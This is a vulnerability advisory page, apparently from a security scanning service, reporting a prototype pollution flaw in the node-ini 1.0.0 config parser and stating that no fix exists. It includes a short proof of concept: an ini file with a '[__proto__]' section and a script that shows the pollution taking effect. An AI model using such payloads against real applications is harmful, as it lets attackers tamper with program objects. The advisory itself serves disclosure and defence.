node-ini@1.0.0 vulnerabilities

A simple .ini config parser that supports sections, comments, arrays, and objects.

Direct Vulnerabilities

Known vulnerabilities in the node-ini package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

node-ini is a simple .ini config parser that supports sections, comments, arrays, and objects.

Affected versions of this package are vulnerable to Prototype Pollution. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program by providing an ini file with the __proto__ object.

PoC

test.ini
[__proto__]
polluted = polluted

 PoC.js
var ini = require('node-ini');
console.log({}.polluted);
ini.parse('./test.ini', function(err,data){
  if(err) console.log(err)
  else {
    console.log(data)
    console.log({}.polluted)
  }
});

How to fix Prototype Pollution?

There is no fixed version for node-ini.

*